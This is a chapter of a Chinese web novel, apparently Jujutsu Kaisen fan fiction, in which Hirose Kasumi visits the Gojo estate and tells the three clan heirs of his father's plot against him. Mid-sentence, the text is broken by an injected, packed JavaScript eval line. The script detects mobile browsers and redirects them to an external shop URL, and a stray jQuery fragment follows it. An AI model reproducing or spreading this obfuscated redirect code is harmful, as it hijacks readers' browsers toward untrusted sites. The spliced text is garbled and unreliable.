五条家在京都的中心位置,按照五条真说的,五条家和另外两大家作为咒术界的御三家,也是最大的三个家族。这三个家族的体量,光是从那宅邸的占地面积上来看就可以看出他们的强大。
广濑霞坐在牛车上从五条家的最旁边的墙壁开始朝他们的门那边走,他们走过了两条河,三条街才终于到了五条家的门口。
“这五条家的面积还真是大啊。”站在五条家的门口,广濑霞发出了这样的感慨。
五条家的面积大的离谱,广濑霞估计这里要比广濑家大上四倍还要多。
在门口的侍从上前来问候的时候,诗把五条真给的信物递给那个侍从看,在等着他回去递话的时候,广濑霞已经把五条家的门所有细节都观察清楚。
“霞!好久不见。”从门那边跳出来的是已经有几年没有见的五条真,五条真也不知道是怎么长的,几年前他们刚认识的时候,他们的身高还是相当的,此时对方已经比他高了整整一个头了。
明明两人的年纪差不多,都是十四岁,但五条真看上去就是要接近成年人的高度。
因为只真正见过一面,他们虽然一直都有通信,广濑霞还是在见到五条真的时候感到了一些拘谨。“好久不见,表哥。”
和他的拘谨完全不同,五条真倒是热情的很,他抱着广濑霞一直蹭着,在终于放下已经满脸抗拒的霞后,才转身朝着他身后不知什么时候出现的两人介绍广濑霞的身份。
“这是我的表弟,广濑霞。是一个普通人。”咒术师在介绍别人的时候,甚至还要带上是咒术师还是普通人吗。
那两人在听到普通人三个字的时候,脸上的兴趣也肉眼可见的变少了。通过他们的变化,广濑霞已经猜到了他们的身份,全部都是咒术师。
“那是表哥你的朋友吗?”广濑霞问。
朋友两个字要是按在那两个人身上,一想到这点五条真的脸上就带着厌恶,他不想广濑霞的心里有这样的幻想,于是很快就开始解释:“才不是,他们怎么可能是我的朋友。啊~他们是,嗯,我之前是不是和你说过我们咒术界有三个最大的家族,他们就是那两个家族的少主啦,我这是因为家族联系而不得不和他们联系。”
他在解释的时候牵着广濑霞往五条家里走,可能也是在照顾广濑霞的走路速度,所以那双大长腿迈得特别慢。
他不是个好相与的,那两家的少主显然也不是什么好脾气。在听到五条真这毫不掩饰的撇清关系的话,他们也开始说:“谁想要和你们这些自大狂待在一起啊。”
“和你们待在一起这些时间我都可以学会很多术式了,你们简直是在浪费我的时间。”
他们互相刺着对方,在听到另外两人的话后开始生气,如果不是因为还有广濑霞这个不熟悉的人在的话,他们或许可以当场打起来。
“果然最成熟的人就是我。我就不会像他们那样拌嘴。”五条真在毒舌完那两个人之后,还开始夸赞自己。
“看那个,那个头发尖尖的像是刺一样的人,就是禅院家的少主禅院矛,那个看着像是骗子的人就是加茂家的少主,加茂礼。”五条真介绍着那两个人。
因为加茂礼的名字,广濑霞下意识看了一眼他。而因为周围这三个都是咒术师,所以他的动作在这里并不算隐蔽。
五条真直接问:“怎么了,你认识他?”
广濑霞摇摇头,他不知道那些话能不能在这里说,本想隐瞒下来,但是五条真是一个不依不饶的人,他不愿意说还要继续缠着问他:“快说,有什么不能说的,有表哥在这里给你撑腰,这里可是我们五条家,如果真是这个加茂家的欺负你,表哥给你找回场子。”
广濑霞看他误会越来越深,说出的话也很离谱,只能选择把广濑家的那些事情说了出来。
“父亲养了一个外室,那个外室给他生下了一个孩子,他想要让那个孩子坐上广濑家少主的位置。而且在这次我来京都的时候,他好像想要趁这个机会除掉我。”
“你父亲养了外室,生下的孩子还想要抢你的少主位置!”五条真将他说的话又复述了一遍,说话的声音越来越大,甚至让周围那些打扫道路的仆人都听到了。
只是没有人阻拦住他,因为站在旁边的另外两个少年同样也因为这样的事情而感到生气,即使他们刚和广濑霞认识。咒术界和普通人并不一样,在这里因为要保证术式的稳定,贵族们一般都与固定的家族联姻,而且因为拔除咒灵的压力很大,所以很少会有人会去选择养外室来发泄精力。并且成为御三家少主的这三人,都不是外室生的孩子,他们站咋正室子的位置上替广濑霞生气。
“那你反击回去了吗?”说这句话的是禅院家的少主禅院矛,他说话简洁,说的话也和他的性格一样,在他的印象中,收到不公的待遇就要反击回去。
而其他两人也在看着广濑霞,广濑霞......摇了摇头。
“为什么!要是我,我绝对要用一发茈让他见识见识什么叫力量,什么叫绝对。”五条真说着,还开始比划着那招茈的手势。
和他不一样,加茂家的少主显然更冷静一点,他在刚见到广濑霞的时候就发现了:“是因为没有力量吧,你表弟他看着就不像是能打架的。”
禅院矛站在一旁沉默点头赞成加茂礼的话。
广濑霞的身形是这个时代很受欢迎的类型,只是这样的类型往往代表着这人并没有多少力量,更别提和强大的咒术师对比了。
因为没有六眼,加茂礼和禅院矛虽然发现广濑霞身上那浓厚的咒力,他们也看到那奇怪的线,也没有去想这或许是没有觉醒的术式。毕竟普通人的身上也会有咒力存在,而往往压力大或者是生活艰难的人身上的咒力会更加强大。
如果是一直生活在那样的环境里,很那不会有浓厚的咒力吧。
“不是啊,”和广濑霞打过架的五条真知道广濑霞在急的时候会不自觉用出术式,“这小子有术式的,他只是没有觉醒而已,他的术式之前还可以直接切开我的无下限呢。”
这句话让加茂礼和禅院矛都陷入了沉默。一个没有觉醒的咒术师在一直受委屈的环境下还没有觉醒术式吗?好能忍。
广濑霞并不知道他们的吐槽,他不是没有办法给广濑家主点颜色瞧瞧,他当然可以在气愤的时候去扇对方几个巴掌,只是,之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848161|210740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呢,他没有武器,没有依靠,没办法在面对很多人的追捕下继续活着。
所谓的忍耐,全部都是为了活着而已。
“不会有人帮我,如果我把父亲给伤了,之后就会有很多人来抓我的。这次我来京都的路上都已经快要见到死亡了,那如果我因为生气而做出这样的事情,当时在广濑家里就要失去我的性命了。”
广濑霞淡淡地说出这些眼前三个大家族少主从来没有想过的事情,天生就有力量的人是不会想到没有力量的人是怎么生活的。
天生就有人支持的人也不会想到没有支持的人该怎么才能活下去。
这可真是令人难受的事情,在感受到广濑霞的无力之后,这三人也开始跟着他一起无力。五条真还想说他可以给广濑霞做主撑腰,只是在想到广濑霞说他路上遇到了危险这件事,本来就是他叫对方来的,谁想到会出现这样的事情。
五条家在的京都和广濑家在的那个小城还是桃太远了,如果那些人想要对广濑霞做什么的话,等他知道消息的时候,广濑霞或许已经升天成佛了。
“这可真是难办,难不成你一直都受气不反抗吗?”五条真挠了挠他那洁白的长发,因为爱干净,他的长发一直都是保持在最干净整洁的状态的,平时他也时不时会梳理头发保持整洁,此时他却顾不上这些,将他的头发挠得杂乱。
加茂礼也陷入了沉默,他也没有什么好的办法去解决这件事,而且说起来这个广濑霞和他也没有什么关系,他会过着什么样的生活和他加茂礼有什么关系。
“让他带上咒具不就好了。用咒具可以增强他的力量,这样他就可以反抗了。”开口的是禅院矛,作为禅院家的少主,禅院矛从小就练习体术,他并不会排斥使用咒具,并且因为禅院家的特殊,禅院家里大部分人都会选择使用咒具来辅助拔除咒灵。
“咒具啊,还真是个好主意啊。”五条真赞叹道。
关于咒具,广濑霞还是知道这是什么的,只是,据说咒具的制作费时费力,数量稀少,让他拥有这样珍贵的咒具会不会太浪费了。
“不行,”提出不同声音的是加茂礼,“你表弟虽然有术式,但到底还是没有觉醒术式的普通人,而且他的父亲也是普通人吧,你们难道想要他成为一个诅咒师吗?”
咒术界的规则就是这样的,没有觉醒的咒术师只有在家族的保证下才能获得咒具的使用权,并且他们得到咒具后只能用在拔除咒灵上,不能用在普通人身上。咒术师并不能对普通人下手,如果下手了,那就会被判为诅咒师。
这可真是个难题,五条真是真的想要给广濑霞一点可以自保的保障,至少身为他的表弟,不能这么窝囊啊。
此时,禅院矛又开口了:“那就给他准备一个不是咒具的武器不就好了。”
用普通人的武器来对付普通人,这可不是咒术界的规矩能管的。
这个办法好,五条真很快就拍板定了下来。
因为来到京都的时间不算早,在和五条真他们见面之后,时间很快就要到夜晚,于是在五条真的提议下,广濑霞暂时住在了五条家里,住在五条真的院子里,房间也在五条真的旁边。